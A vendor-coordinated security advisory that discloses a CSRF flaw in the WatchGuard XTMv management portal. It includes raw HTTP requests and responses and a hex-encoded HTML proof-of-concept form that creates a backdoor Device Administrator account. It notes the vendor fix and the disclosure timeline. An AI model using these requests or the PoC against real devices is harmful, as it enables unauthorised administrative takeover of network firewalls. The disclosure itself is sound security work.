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Security Advisory

WatchGuard XTMv User Management Cross-Site Request Forgery

Advisory ID
KL-001-2017-004
Published
2017-03-10
Vendor
WatchGuard

Affected Systems

Product
XTMv
Version
v11.12 Build 516911
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)
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Vulnerability Details

Affected Vendor: WatchGuard
Affected Product: XTMv
Affected Version: v11.12 Build 516911
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
Impact: Privileged Access
Attack Vector: HTTP

Vulnerability Description

Lack of CSRF protection in the Add User functionality of the XTMv management portal can be leveraged to create arbitrary administrator-level accounts.

Technical Description

As observed below, no CSRF token is in use when adding a new user to the management portal.

POST /put_data/ HTTP/1.1
Host: 1.3.3.7:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 365
Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
DNT: 1
Connection: close

{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}

The HTTP response indicates that the changes were successful.

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 68
Expires: Sun, 28 Jan 2007 00:00:00 GMT
Vary: Accept-Encoding
Server: CherryPy/3.6.0
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Date: Sat, 10 Dec 2016 18:08:22 GMT
Content-Type: application/json
Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly; Path=/; secure
Connection: close

{"status": true, "message": ["The changes were saved successfully"]}

Now, the newly created backdoor account can be accessed.

POST /agent/login HTTP/1.1
Host: 1.3.3.7:8080
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 414
Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
DNT: 1
Connection: close

<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>

The response below shows the application issuing an authenticated session cookie.

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/xml
Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
Connection: close
Date: Sat, 10 Dec 2016 19:55:26 GMT
Server: none
Content-Length: 751

<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
          <member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
          <member><name>response</name><value></value></member>
          <member>
            <name>readwrite</name>
            <value><struct>
              <member><name>privilege</name><value>2</value></member>
              <member><name>peer_sid</name><value>0</value></member>
              <member><name>peer_name</name><value>error</value></member>
              <member><name>peer_ip</name><value>0.0.0.0</value></member>
            </struct></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodResponse>

Mitigation and Remediation Recommendation

The vendor has remediated this vulnerability in WatchGuard XTMv v11.12.1. Release notes and upgrade instructions are available at:

https://www.watchguard.com/support/release-notes/fireware/11/en-US/EN_ReleaseNotes_Fireware_11_12_1/index.html

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. and Joshua Hardin.

Proof of Concept

<html>
  <body>
    <form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
      <input
        type="hidden"
        name="&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x2e;&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x2e;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x75;&#x73;&#x65;&#x72;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x61;&#x64;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x76;&#x6f;&#x2e;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x6e;&#x61;&#x6d;&#x65;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x22;&#x3a;&#x22;&#x46;&#x69;&#x72;&#x65;&#x62;&#x6f;&#x78;&#x2d;&#x44;&#x42;&#x22;&#x2c;&#x22;&#x72;&#x6f;&#x6c;&#x65;&#x22;&#x3a;&#x22;&#x44;&#x65;&#x76;&#x69;&#x63;&#x65;&#x20;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x22;&#x2c;&#x22;&#x68;&#x61;&#x73;&#x68;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x65;&#x6e;&#x61;&#x62;&#x6c;&#x65;&#x64;&#x22;&#x3a;&#x31;&#x2c;&#x22;&#x72;&#x6f;&#x77;&#x69;&#x6e;&#x64;&#x65;&#x78;&#x22;&#x3a;&#x2d;&#x31;&#x7d;&#x5d;&#x2c;&#x22;&#x75;&#x70;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x64;&#x65;&#x6c;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x7d;"
        value=""
      />
      <input type="submit" value="Trigger" />
    </form>
  </body>
</html>

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic sends vulnerability report and PoC to WatchGuard.

WatchGuard acknowledges receipt of report.

WatchGuard informs KoreLogic that the vulnerability will be addressed in the forthcoming v11.12.1 firmware, scheduled for general availability on or around 2017.02.21.

WatchGuard releases v11.12.1.

KoreLogic public disclosure.

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Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable

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